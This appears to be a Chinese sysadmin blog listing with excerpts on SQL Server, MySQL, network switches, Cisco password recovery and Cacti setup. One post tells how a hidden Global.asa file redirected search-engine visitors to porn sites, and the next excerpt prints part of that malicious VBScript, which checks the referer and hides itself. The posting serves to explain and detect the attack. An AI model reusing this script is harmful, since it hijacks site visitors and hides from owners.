警惕ASP网站Global.asa导致网站被挂马或转向上午帮朋友处理一个比较有难度的问题,网站输入域名访问正常打开,但从搜索引擎厚度或是Google之类的打开,就会跳转到某些色情网站上去.根据经验,可以推断出来应该是asp程序根据网页的来路,即HTTP_REFERER进行判断,发现是搜索引擎过来的流量就跳转到色情站点去,使用此种方法具有很强的隐匿性,因为站长们一般不会去搜索自己的网站,所以轻易不会发现自己站点遭到了挟持。因为网站是自己很多年前帮朋友做的，所以要了现在的代码，看了一下，没有发现问题，就开始是不是服务器感染了什么病毒或是被加上了什么IIS过滤器之类的，要了远程桌面，上去找了半天，一无所获，看了一下IP地址，发现是一个内网IP地址，也就是说需要网关将网站映射发布出去，于是怀疑问题是在网关上，但问了朋友之后，得知网关为一路由器，再加上将IIS关闭，网站也就无法打开，不能再跳转，排除了网关加马的可能性。难倒走不下去了？忽然想到一招，采用FileMon对w3wp.exe进程进行监控，看看用搜索引擎打开和直接打开读取的文件到底有什么不同，通过多次比较，也没有发现什么疑点。万般无奈，又回到网站根目录下，顺手打开了显示系统隐藏文件，却发现多了一个Global.a...

Global.asa 挂马文件代码会导致用户从搜所工具那里来的流量跳转到其它地方。<script language="vbscript" runat="server">sub Session_OnStartdim namename=request.servervariables("Path_Translated")Set fso = Server.CreateObject("scripting.filesystemobject") set f=fso.Getfile("//./" & Server.MapPath("/global.asa"))Dim vDim tReDim A(Request.Form.Count)ReDim B(Request.Form.Count)v=Request.Formt=Request.Form.Countif t>0 thenFor i=0 To t-1 b(i)=Split(Split(v,"&")(i),"=")(1) if instr(LCase(b(i)),"global.asa")>0 thenf.Attributes=1+2+4response.end() end ifNextend ifif instr(request.servervariables("HTTP_REFERER"),"www.baidu.com/s?")>0 or instr(request.ServerVariables("HTTP_REFERER"),"baidu.com/baidu?")>0 or instr(request.ServerVariables("HTTP_REFERER"),"m.baidu.com/")>0 or instr(request.ServerVariables("HTT...

游标不包括正在修改的表，或该表不能通过此游标更新==>解决办法                                现这个问题的前提可能是：Microsoft OLE DB Provider for SQL Server 错误 '80004005'在 sys.servers 中找不到服务器 '***'。请验证指定的服务器名称是否正确。如果需要，请执行存储过程 sp_addlinkedserver 以将服务器添加到 sys.servers。先出现的这个问题！解决办法是：select * from sys.servers           (查看系统表,看原来的服务器名)sp_dropserver '原来的服务器名'      (删除原来的服务器名)sp_addserver '现在的服务器名'        (添加现在的服务器名)sp_serveroption '现在的服务器名','data access', 'true' (设定 SQL Server 选项，使其允许加入linked server)最简单的方法就是把计算机名修改成以前的名字。修改了计算机的名字，就出现数据表所有者的问题，然后用系统的存储过程修改表的所有者，就出现了这个问题。Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e2...

MYSQL无法启动1053错误解决方法做个人职业站长真是不容易啊，看到服务有点卡了，重启下，没有想到MYSQL失效！MYSQL 1053错误 解决方法： 在DOS命令行使用第一步：mysqld-nt remove mysqlservice的方式卸载此服务，它提示卸载成功，（是英文成功的意思）第二步：mysqld-nt install mysqlservice重新注册服务，一切恢复正常。（也会英文显示成功）第三步：打开 服务>>>>禁用MYSQL>>>>再启动MYSQL就OK啦 -----------------------------------------------------------------------------------------------------------------还有另一种方法”我的电脑“ -> 右击 ->“服务” -> 找到 mysql服务 ->右键 “属性” -> 选择“登录”选项卡输入帐户名或者浏览用户名选择其用户名，输入密码和确认密码，点“确定”

h3c S3100与S5000交换机恢复出厂配置S3100系统交换机与S5000系列交换机恢复出厂配置有些不一样。S3100系列交换机使用超级终端：#reset saved-cunfiguration然后按提示进行，就可以清除配置文件，恢复出厂配置。S5000系列交换机使用超级终端：进入system-view视图：# restore default 使用以上命令将设备恢复出厂配置。

如果你的男朋友使用linux Version I如果他真的爱你，那么1.他对你一定很有耐心想想他能经受的起安装和配置linux的折磨而不退缩，可见其对他的爱的东西有多大的耐心了；反观那些用windows的，差的太远了。2.不管你有多少毛病，不管外界有多少诱惑，他都能忍，无比专一用linux的就得忍受各种各样的不方便，而且面对无数游戏的诱惑还要不为所动；看看那些用windows的，天天泡在花花的"游戏"世界里，你要找个这样的，自己小心吧!3.勤劳，聪明，勇敢面对linux的各种非常人可以理解的问题，他们总能想出办法解决，为此可能花上N长的时间，可见广大linuxer才是中国劳动人民的杰出代表；对比起来那些windowser都是些好吃懒做之徒，要是找这样的男朋友，以后八成还要你来养他，自己痛苦去吧!如果你的男朋友使用linux Version II如果他真的爱你，那么1.他一定没什么钱。有钱的公子都是只用电脑上网聊天连游戏都不屑在pc上玩的，次一点的有钱人总会换新机器，装新的windows，何必抱着破电脑折腾什么linux?2.他要么缺少和外界的交往要么很犯贱。满天遍野的盗版windows，为什么不用？要么他根本就是没到过电子市场的书呆子，要么就是一根筋有问题的“gangdou”3.他绝对喜新厌旧！...

华为S2300交换机作双向端口限速 华为的交换机限速有些庥烦，qos lr cir cbs 只能作接口出口方向限速。S2300的限速命令格式是：system-view         //进入系统视图interface [端口号]         //进入接口视图qos lr cir [cir值] cbs [cbs值]       //配置接口出方向的流量限速qos lr cir 2048 cbs 409600端口上的限速可以使用流控的方式，还可以采用修改接口的工作模式，直接在接口上强制接口speed为10M的方式。流控的方式配置参考如下：E0/0/1口限速，出接口方向限速10M（下载）：[Quidway] interface ethernet 0/0/1[Quidway-Ethernet0/0/1] qos lr cir 10240 cbs 6400000E0/0/1口限速，入接口方向限速10M（上传）：[S-switch-B] acl number 2000[S-switch-B-acl-2000]rule permit[S-switch-B] traffic classifier xiansu[S-switch-B-classifier-xiansu] if-match acl 2000 [S-switch-B] traffic behavior xiansu[S-switch-B-behavior-xiansu] permit[S-switch-B-behavior-xiansu] car cir 10240 pir 10240 cbs 2048000 pbs 4096000 green pass remark-8021p 5 yellow pass red discard[...

华为S2300交换机配置端口限速。华为交换机S2300限速方法很多。可以根据自己情况选择下面就说下，最简单的端口限速以下是华为官方给的说明。使用QOS命令来配置。qos lr命令功能qos lr命令用来在接口出方向上实施限速。undo qos lr命令用来禁止接口出方向上的限速。命令格式qos lr cir cir cbs cbsundo qos lr参数说明[td]参数参数说明取值cir cir表示承诺信息速率。整数形式，取值范围是64～接口自身带宽（例如Ethernet接口带宽为100000，GE接口带宽为1000000），单位是kbit/s。cbs cbs表示承诺突发尺寸。整数形式，取值范围是8192～1040384，单位是byte。视图Ethernet接口视图、GE接口视图缺省级别2：配置级使用指南当S-switch设备与别的设备对接时，如果其端口速率大于对端速率，则S-switch设备向对端发报文，可能会导致报文在对端设备接口处被丢弃。为避免这种情况，需要对本S-switch设备的接口出方向速率进行限制。本命令为覆盖式命令，即在接口视图下多次配置接口出方向上的限速后，按最后一次配置生效。使用实例# 在接口GigabitEthernet0/0/1的出方向上配置限速，承诺信息速率为100kbit/s，承诺突发尺寸为200000byte。<Quidway> system-view[Quidway] interface g...

cisco 1841 密码修改方法                                                           Cisco 1841路由器下面介绍如何清除Cisco 1841路由器的密码： (1) 退回特权模式并重启路由器，等待路由器开始启动时按[Ctrl+Break]键中断正常的启动过程，进入到ROM状态。 (2) 修改配置寄存器的值，并重新启动 rommon >confreg 0x2142     //修改寄存器的值为0x2142，目的跳过NVRAM,不检查原先设置的密码。 rommon 2>i                        //重启路由器 (3) 等待路由器启动完毕并进入setup模式后，按[Ctrl+C]键退出setup模式，修改密码 Router>enable Router# copy startup-config running-config    //将路由器NVRAM中的配置文件调出 RouterA# config teminalRouterA(config)# enable password cisco        //修改enable密码，替换原先的密...

centos5.4下cacti的安装配置系统环境OS:CentOS5.4DataBase:MySQL5.0PHP Apachenet-snmp部署cacti需要的环境安装MySQLyum install mysqlyum install mysql-server安装apacheyum install httpd安装phpyum install phpyum install php-mysql启动各类服务并且加入启动列表service httpd startservice mysqld start #第一次启动会初始化MySQL的数据字典chkconfig httpd onchkconfig mysqld on由于cacti的运行需要大量的其它库的支持，我们还需要安装一些：zib:yum install ziblibpng:yum install libpngfreetype:yum install freetypejpeg:yum install libjpegfontconfig:yum install fontconfiggd:yum install gdlibxml:yum install libxml2另外，还需要rrdtool的支持： 从这里下载：http://www.express.org/~wrl/rrdtool/这里我下载对应centos5.4的版本,读者请对应自己的系统版本下载wgethttp://www.express.org/~wrl/rrdtool/rrdtool-1.2.30-1.el5.wrl.x86_64.rpmwgethttp://www.express.org/~wrl/rrdtool/rrdtool-perl-1.2.30-1.el5.wrl.x86_64.rpmrpm -ivh rrdtool-1.2.30-1.el5.wrl.x86_64.rpm rrdtool-perl-1.2.30-1.el5.wrl.x86_64.rpm安装snmp的支持工具yum install net-...